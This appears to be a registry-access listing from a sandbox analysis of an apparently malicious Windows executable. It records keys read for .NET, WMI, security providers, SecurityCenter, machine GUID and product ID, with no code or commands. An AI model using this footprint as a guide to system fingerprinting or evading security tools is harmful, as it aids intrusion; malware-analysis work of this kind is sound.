HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{1B1CAD8C-2DAB-11D2-B604-00104B703EFD}\InprocHandler32
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{1B1CAD8C-2DAB-11D2-B604-00104B703EFD}\InprocHandler
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{1C1C45EE-4395-11D2-B60B-00104B703EFD}
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{1C1C45EE-4395-11D2-B60B-00104B703EFD}\ProxyStubClsid32
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{1C1C45EE-4395-11D2-B60B-00104B703EFD}\ProxyStubClsid32\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{423EC01E-2E35-11D2-B604-00104B703EFD}
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{423EC01E-2E35-11D2-B604-00104B703EFD}\ProxyStubClsid32
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{423EC01E-2E35-11D2-B604-00104B703EFD}\ProxyStubClsid32\(Default)
HKEY_CLASSES_ROOT\CLSID\{661FF7F6-F4D1-4593-B59D-4C54C1ECE68B}\InProcServer32
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{661FF7F6-F4D1-4593-B59D-4C54C1ECE68B}\InprocServer32\(Default)
HKEY_CLASSES_ROOT\CLSID\{661FF7F6-F4D1-4593-B59D-4C54C1ECE68B}\LocalServer32
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{661FF7F6-F4D1-4593-B59D-4C54C1ECE68B}\InprocServer32\ThreadingModel
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{661FF7F6-F4D1-4593-B59D-4C54C1ECE68B}\InprocServer32\Synchronization
HKEY_CLASSES_ROOT\CLSID\{661FF7F6-F4D1-4593-B59D-4C54C1ECE68B}
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{661FF7F6-F4D1-4593-B59D-4C54C1ECE68B}\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{661FF7F6-F4D1-4593-B59D-4C54C1ECE68B}\AppId
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{661FF7F6-F4D1-4593-B59D-4C54C1ECE68B}\InprocServer32\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{661FF7F6-F4D1-4593-B59D-4C54C1ECE68B}\InprocServer32\ThreadingModel
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{661FF7F6-F4D1-4593-B59D-4C54C1ECE68B}\InprocServer32\Synchronization
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{661FF7F6-F4D1-4593-B59D-4C54C1ECE68B}\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{661FF7F6-F4D1-4593-B59D-4C54C1ECE68B}\AppId
HKEY_CLASSES_ROOT\CLSID\{d63a5850-8f16-11cf-9f47-00aa00bf345c}\InProcServer32
HKEY_CLASSES_ROOT\CLSID\{d63a5850-8f16-11cf-9f47-00aa00bf345c}\LocalServer32
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{D63A5850-8F16-11CF-9F47-00AA00BF345C}\InprocServer32\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{D63A5850-8F16-11CF-9F47-00AA00BF345C}\InprocServer32\ThreadingModel
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{D63A5850-8F16-11CF-9F47-00AA00BF345C}\InprocServer32\Synchronization
HKEY_CLASSES_ROOT\CLSID\{d63a5850-8f16-11cf-9f47-00aa00bf345c}
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{D63A5850-8F16-11CF-9F47-00AA00BF345C}\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{D63A5850-8F16-11CF-9F47-00AA00BF345C}\AppId
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\SecuredHostProviders
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\SecuredHostProviders\ROOT\CIMV2:__Win32Provider.Name="CIMWin32"
HKEY_LOCAL_MACHINE\system\currentcontrolset\control\minint
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\ESS\//./root/CIMV2\SCM Event Provider
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\CustomLocale\Root
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\ExtendedLocale\Root
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{B7B31DF9-D515-11D3-A11C-00105A1F515A}
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{B7B31DF9-D515-11D3-A11C-00105A1F515A}\ProxyStubClsid32
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{B7B31DF9-D515-11D3-A11C-00105A1F515A}\ProxyStubClsid32\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{07435309-D440-41B7-83F3-EB82DB6C622F}
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{07435309-D440-41B7-83F3-EB82DB6C622F}\ProxyStubClsid32
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{07435309-D440-41B7-83F3-EB82DB6C622F}\ProxyStubClsid32\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{21CD80A2-B305-4F37-9D4C-4534A8D9B568}
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{21CD80A2-B305-4F37-9D4C-4534A8D9B568}\ProxyStubClsid32
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{21CD80A2-B305-4F37-9D4C-4534A8D9B568}\ProxyStubClsid32\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{06413D98-405C-4A5A-8D6F-19B8B7C6ACF7}
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{06413D98-405C-4A5A-8D6F-19B8B7C6ACF7}\ProxyStubClsid32
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{06413D98-405C-4A5A-8D6F-19B8B7C6ACF7}\ProxyStubClsid32\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{F50A28CF-5C9C-4F7E-9D80-E25E16E18C59}
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{F50A28CF-5C9C-4F7E-9D80-E25E16E18C59}\ProxyStubClsid32
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{F50A28CF-5C9C-4F7E-9D80-E25E16E18C59}\ProxyStubClsid32\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{6B3FC272-BF37-4968-933A-6DF9222A2607}
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{6B3FC272-BF37-4968-933A-6DF9222A2607}\ProxyStubClsid32
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{6B3FC272-BF37-4968-933A-6DF9222A2607}\ProxyStubClsid32\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{0FC8C622-1728-4149-A57F-AD19D0970710}
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{0FC8C622-1728-4149-A57F-AD19D0970710}\ProxyStubClsid32
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{0FC8C622-1728-4149-A57F-AD19D0970710}\ProxyStubClsid32\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{FEC1B0AC-5808-4033-A915-C0185934581E}
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{FEC1B0AC-5808-4033-A915-C0185934581E}\ProxyStubClsid32
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{FEC1B0AC-5808-4033-A915-C0185934581E}\ProxyStubClsid32\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{EB658B8A-7A64-4DDC-9B8D-A92610DB0206}
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{EB658B8A-7A64-4DDC-9B8D-A92610DB0206}\ProxyStubClsid32
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{EB658B8A-7A64-4DDC-9B8D-A92610DB0206}\ProxyStubClsid32\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{7C857801-7381-11CF-884D-00AA004B2E24}
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{7C857801-7381-11CF-884D-00AA004B2E24}\ProxyStubClsid32
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{7C857801-7381-11CF-884D-00AA004B2E24}\ProxyStubClsid32\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{71285C44-1DC0-11D2-B5FB-00104B703EFD}
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{71285C44-1DC0-11D2-B5FB-00104B703EFD}\TreatAs
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{71285C44-1DC0-11D2-B5FB-00104B703EFD}\Progid
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{71285C44-1DC0-11D2-B5FB-00104B703EFD}\Progid
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{71285C44-1DC0-11D2-B5FB-00104B703EFD}\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{71285C44-1DC0-11D2-B5FB-00104B703EFD}\InprocServer32
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{71285C44-1DC0-11D2-B5FB-00104B703EFD}\InprocServer32\InprocServer32
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{71285C44-1DC0-11D2-B5FB-00104B703EFD}\InprocServer32\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{71285C44-1DC0-11D2-B5FB-00104B703EFD}\InprocServer32\ThreadingModel
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{71285C44-1DC0-11D2-B5FB-00104B703EFD}\InprocHandler32
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{71285C44-1DC0-11D2-B5FB-00104B703EFD}\InprocHandler
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{8BC3F05E-D86B-11D0-A075-00C04FB68820}
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{8BC3F05E-D86B-11D0-A075-00C04FB68820}\TreatAs
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{8BC3F05E-D86B-11D0-A075-00C04FB68820}\Progid
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{8BC3F05E-D86B-11D0-A075-00C04FB68820}\Progid
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{8BC3F05E-D86B-11D0-A075-00C04FB68820}\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{8BC3F05E-D86B-11D0-A075-00C04FB68820}\InprocServer32
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{8BC3F05E-D86B-11D0-A075-00C04FB68820}\InprocHandler32
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{8BC3F05E-D86B-11D0-A075-00C04FB68820}\InprocHandler
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\CustomLocale\SecurityCenter2
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\ExtendedLocale\SecurityCenter2
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\CustomLocale\SecurityCenter
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\ExtendedLocale\SecurityCenter
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\Sink Transmit Buffer Size
HKEY_LOCAL_MACHINE\Software\Microsoft\Wbem\Cimom
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\DefaultRpcStackSize
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\LSA\AccessProviders
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Lsa\AccessProviders\MartaExtension
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID\wmiprvse.exe
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{1F87137D-0E7C-44D5-8C73-4EFFB68962F2}\InprocServer32
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{1F87137D-0E7C-44D5-8C73-4EFFB68962F2}\InprocHandler32
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{1F87137D-0E7C-44D5-8C73-4EFFB68962F2}\InprocHandler
HKEY_CURRENT_USER\Control Panel\International
HKEY_CURRENT_USER\Control Panel\International\LocaleName
HKEY_CURRENT_USER\Control Panel\International\sCountry
HKEY_CURRENT_USER\Control Panel\International\sList
HKEY_CURRENT_USER\Control Panel\International\sDecimal
HKEY_CURRENT_USER\Control Panel\International\sThousand
HKEY_CURRENT_USER\Control Panel\International\sGrouping
HKEY_CURRENT_USER\Control Panel\International\sNativeDigits
HKEY_CURRENT_USER\Control Panel\International\sCurrency
HKEY_CURRENT_USER\Control Panel\International\sMonDecimalSep
HKEY_CURRENT_USER\Control Panel\International\sMonThousandSep
HKEY_CURRENT_USER\Control Panel\International\sMonGrouping
HKEY_CURRENT_USER\Control Panel\International\sPositiveSign
HKEY_CURRENT_USER\Control Panel\International\sNegativeSign
HKEY_CURRENT_USER\Control Panel\International\sTimeFormat
HKEY_CURRENT_USER\Control Panel\International\sShortTime
HKEY_CURRENT_USER\Control Panel\International\s1159
HKEY_CURRENT_USER\Control Panel\International\s2359
HKEY_CURRENT_USER\Control Panel\International\sShortDate
HKEY_CURRENT_USER\Control Panel\International\sYearMonth
HKEY_CURRENT_USER\Control Panel\International\sLongDate
HKEY_CURRENT_USER\Control Panel\International\iCountry
HKEY_CURRENT_USER\Control Panel\International\iMeasure
HKEY_CURRENT_USER\Control Panel\International\iPaperSize
HKEY_CURRENT_USER\Control Panel\International\iDigits
HKEY_CURRENT_USER\Control Panel\International\iLZero
HKEY_CURRENT_USER\Control Panel\International\iNegNumber
HKEY_CURRENT_USER\Control Panel\International\NumShape
HKEY_CURRENT_USER\Control Panel\International\iCurrDigits
HKEY_CURRENT_USER\Control Panel\International\iCurrency
HKEY_CURRENT_USER\Control Panel\International\iNegCurr
HKEY_CURRENT_USER\Control Panel\International\iCalendarType
HKEY_CURRENT_USER\Control Panel\International\iFirstDayOfWeek
HKEY_CURRENT_USER\Control Panel\International\iFirstWeekOfYear
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\Logging
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\LsaExtensionConfig\SspiCli
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\LsaExtensionConfig\SspiCli\CheckSignatureDll
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\LsaExtensionConfig\SspiCli\CheckSignatureRoutine
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\SecurityProviders\SecurityProviders
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Lsa\SspiCache
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Lsa\SspiCache\credssp.dll
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Lsa\SspiCache\credssp.dll\Name
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Lsa\SspiCache\credssp.dll\Comment
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Lsa\SspiCache\credssp.dll\Capabilities
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Lsa\SspiCache\credssp.dll\RpcId
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Lsa\SspiCache\credssp.dll\Version
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Lsa\SspiCache\credssp.dll\Type
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Lsa\SspiCache\credssp.dll\TokenSize
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\SaslProfiles
HKEY_USERS\S-1-5-21-1822907384-1282624486-319450072-1000\Control Panel\International\sCountry
HKEY_USERS\S-1-5-21-1822907384-1282624486-319450072-1000\Control Panel\International\sList
HKEY_USERS\S-1-5-21-1822907384-1282624486-319450072-1000\Control Panel\International\sDecimal
HKEY_USERS\S-1-5-21-1822907384-1282624486-319450072-1000\Control Panel\International\sThousand
HKEY_USERS\S-1-5-21-1822907384-1282624486-319450072-1000\Control Panel\International\sGrouping
HKEY_USERS\S-1-5-21-1822907384-1282624486-319450072-1000\Control Panel\International\sNativeDigits
HKEY_USERS\S-1-5-21-1822907384-1282624486-319450072-1000\Control Panel\International\sCurrency
HKEY_USERS\S-1-5-21-1822907384-1282624486-319450072-1000\Control Panel\International\sMonDecimalSep
HKEY_USERS\S-1-5-21-1822907384-1282624486-319450072-1000\Control Panel\International\sMonThousandSep
HKEY_USERS\S-1-5-21-1822907384-1282624486-319450072-1000\Control Panel\International\sMonGrouping
HKEY_USERS\S-1-5-21-1822907384-1282624486-319450072-1000\Control Panel\International\sPositiveSign
HKEY_USERS\S-1-5-21-1822907384-1282624486-319450072-1000\Control Panel\International\sNegativeSign
HKEY_USERS\S-1-5-21-1822907384-1282624486-319450072-1000\Control Panel\International\sTimeFormat
HKEY_USERS\S-1-5-21-1822907384-1282624486-319450072-1000\Control Panel\International\sShortTime
HKEY_USERS\S-1-5-21-1822907384-1282624486-319450072-1000\Control Panel\International\s1159
HKEY_USERS\S-1-5-21-1822907384-1282624486-319450072-1000\Control Panel\International\s2359
HKEY_USERS\S-1-5-21-1822907384-1282624486-319450072-1000\Control Panel\International\sShortDate
HKEY_USERS\S-1-5-21-1822907384-1282624486-319450072-1000\Control Panel\International\sYearMonth
HKEY_USERS\S-1-5-21-1822907384-1282624486-319450072-1000\Control Panel\International\sLongDate
HKEY_USERS\S-1-5-21-1822907384-1282624486-319450072-1000\Control Panel\International\iCountry
HKEY_USERS\S-1-5-21-1822907384-1282624486-319450072-1000\Control Panel\International\iMeasure
HKEY_USERS\S-1-5-21-1822907384-1282624486-319450072-1000\Control Panel\International\iPaperSize
HKEY_USERS\S-1-5-21-1822907384-1282624486-319450072-1000\Control Panel\International\iDigits
HKEY_USERS\S-1-5-21-1822907384-1282624486-319450072-1000\Control Panel\International\iLZero
HKEY_USERS\S-1-5-21-1822907384-1282624486-319450072-1000\Control Panel\International\iNegNumber
HKEY_USERS\S-1-5-21-1822907384-1282624486-319450072-1000\Control Panel\International\NumShape
HKEY_USERS\S-1-5-21-1822907384-1282624486-319450072-1000\Control Panel\International\iCurrDigits
HKEY_USERS\S-1-5-21-1822907384-1282624486-319450072-1000\Control Panel\International\iCurrency
HKEY_USERS\S-1-5-21-1822907384-1282624486-319450072-1000\Control Panel\International\iNegCurr
HKEY_USERS\S-1-5-21-1822907384-1282624486-319450072-1000\Control Panel\International\iCalendarType
HKEY_USERS\S-1-5-21-1822907384-1282624486-319450072-1000\Control Panel\International\iFirstDayOfWeek
HKEY_USERS\S-1-5-21-1822907384-1282624486-319450072-1000\Control Panel\International\iFirstWeekOfYear
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProductId
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\RegisteredOwner
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\RegisteredOrganization
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Plus! ProductId
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\CurrentType
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\InstallDate
HKEY_LOCAL_MACHINE\SYSTEM\Setup\SystemPartition
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\PriorityControl
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\PriorityControl\Win32PrioritySeparation
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LicenseInfo\FilePrint

Read Keys

HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\InstallRoot
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\CLRLoadLogDir
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\UseLegacyV2RuntimeActivationPolicyDefaultValue
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\OnlyUseLatestCLR
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Fusion\NoClientChecks
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\NET Framework Setup\NDP\v4\Full\Release
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\DisableConfigCache
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\CacheLocation
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\DownloadCacheQuotaInKB
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\EnableLog
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\LoggingLevel
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\ForceLog
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\LogFailures
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\LogResourceBinds
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\FileInUseRetryAttempts
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\FileInUseMillisecondsBetweenRetries
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\UseLegacyIdentityFormat
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\DisableMSIPeek
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\DevOverrideEnable
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\NGen\Policy\v4.0\OptimizeUsedBinaries
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\CustomLocale\it-IT
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\ExtendedLocale\it-IT
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\AltJit
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\Latest
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\index21
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\LegacyPolicyTimeStamp
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\Locale\00000410
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\Language Groups\1
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\Defaults\Provider Types\Type 024\Name
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\Windows Error Reporting\WMR\Disable
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\CustomLocale\en-us
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\ExtendedLocale\en-us
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\Locale\00000409
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\OLE\AppCompat\RaiseDefaultAuthnLevel
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\OLE\DefaultAccessPermission
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{00000134-0000-0000-C000-000000000046}\ProxyStubClsid32\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Rpc\Extensions\NdrOleExtDLL
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Rpc\Extensions\RemoteRpcDll
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SQMClient\Windows\DisabledProcesses\65EFA6D1
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SQMClient\Windows\DisabledSessions\MachineThrottling
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SQMClient\Windows\DisabledSessions\GlobalSession
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\CustomLocale\it
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\ExtendedLocale\it
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\GRE_Initialize\DisableMetaFiles
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\FORCE_ASSEMREF_DUPCHECK
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\NicPath
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\RegistryRoot
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\AssemblyPath
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\AssemblyPath2
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\CustomLocale\en-US
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\ExtendedLocale\en-US
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\SESSION MANAGER\SafeProcessSearchMode
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\CodePage\932
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\CodePage\949
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\CodePage\950
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\CodePage\936
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\MachineGuid
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\crypt32\DebugHeapFlags
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\DisableImprovedZoneCheck
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Security_HKLM_only
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\MAIN\FeatureControl\FEATURE_HTTP_USERNAME_PASSWORD_DISABLE\vbc.exe
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\MAIN\FeatureControl\FEATURE_HTTP_USERNAME_PASSWORD_DISABLE\*
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\WinHttp\Tracing\Enabled
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ShareCredsWithWinHttp
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\WinHttp\DisableBranchCache
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\SecurityProviders\SCHANNEL\UserContextLockCount
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\SecurityProviders\SCHANNEL\UserContextListCount
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\OID\EncodingType 0\CryptDllFindOIDInfo\1.3.6.1.4.1.311.44.3.4!7\Name
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\MUI\StringCacheSettings\StringCacheGeneration
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\37\7F06864B\@%SystemRoot%\system32\p2pcollab.dll,-8042
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\OID\EncodingType 0\CryptDllFindOIDInfo\1.3.6.1.4.1.311.47.1.1!7\Name
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\OID\EncodingType 0\CryptDllFindOIDInfo\1.3.6.1.4.1.311.64.1.1!7\Name
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\37\7F06864B\@%SystemRoot%\system32\dnsapi.dll,-103
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\crypt32\DiagLevel
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\crypt32\DiagMatchAnyMask
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CertDllCreateCertificateChainEngine\Config\DisableMandatoryBasicConstraints
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CertDllCreateCertificateChainEngine\Config\DisableCANameConstraints
